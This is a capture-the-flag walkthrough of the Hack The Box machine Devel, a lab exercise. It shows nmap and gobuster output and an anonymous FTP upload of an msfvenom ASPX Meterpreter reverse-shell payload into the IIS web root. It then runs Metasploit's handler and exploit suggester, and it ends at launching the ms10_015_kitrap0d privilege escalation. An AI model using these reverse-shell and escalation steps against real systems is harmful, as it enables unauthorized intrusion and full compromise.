Hack The Box - Devel

We are going to pwn Devel from Hack The Box.

Link : https://www.hackthebox.eu/home/machines/profile/3

Lets Begin with our Initial Nmap Scan.

Nmap Scan Results:

21/tcp open  ftp
80/tcp open  http

21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


We logged in as anonymous password can be anything. No files are interested.


This is just default IIS Page:

I started my gobuster and checked anything useful for us.

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/02/25 21:05:15 Starting gobuster
/aspnet_client (Status: 301)
2020/02/25 21:07:45 Finished

This looks like the same file as we saw in ftp this means the ftp is connected with web server.

I confirmed that with opening /welcome.png

So now we need to upload a reverse shell in ftp and access it from web. I look at the response of the web and the server is running as ASP.NET so we need to upload .aspx shell.

HTTP/1.1 304 Not Modified
Last-Modified: Fri, 17 Mar 2017 14:37:30 GMT
Accept-Ranges: bytes
ETag: "37b5ed12c9fd21:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 28 Feb 2020 23:49:04 GMT
Connection: close

We need to get reverse shell, I used msfvenom to create the payload.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=1234 -f aspx > reverse.aspx

Now upload it in ftp and using metasploit to get the shell.

And start the metasploit and select exploit/multi/handler which provides a listener. Set the payload that we used in msfvenom which is windows/meterpreter/reverse_tcp.

Now open the /reverse.aspx from the web

I get the shell and checked systeminfo

Where Hotfix(s): N/A which means the system is not updated so far.

A hotfix or quick-fix engineering update is a single, cumulative package that includes information that is used to address a problem in a software product.

I tried local_exploit_suggester this will give us some suggestions to exploit.For that we need to background the session.

meterpreter > 
Background session 3? [y/N]  

We need to enter the session which it need to check.

msf5 post(multi/recon/local_exploit_suggester) > sessions

Active sessions

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  3         meterpreter x86/windows  IIS APPPOOL\Web @ DEVEL -> (

So its session 3.

Now we can run that

There is a lot of exploits suggested so I picked up random one.


msf5 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 
msf5 exploit(windows/local/ms10_015_kitrap0d) > set LPORT 1234
LPORT => 1234
msf5 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 3
msf5 exploit(windows/local/ms10_015_kitrap0d) > run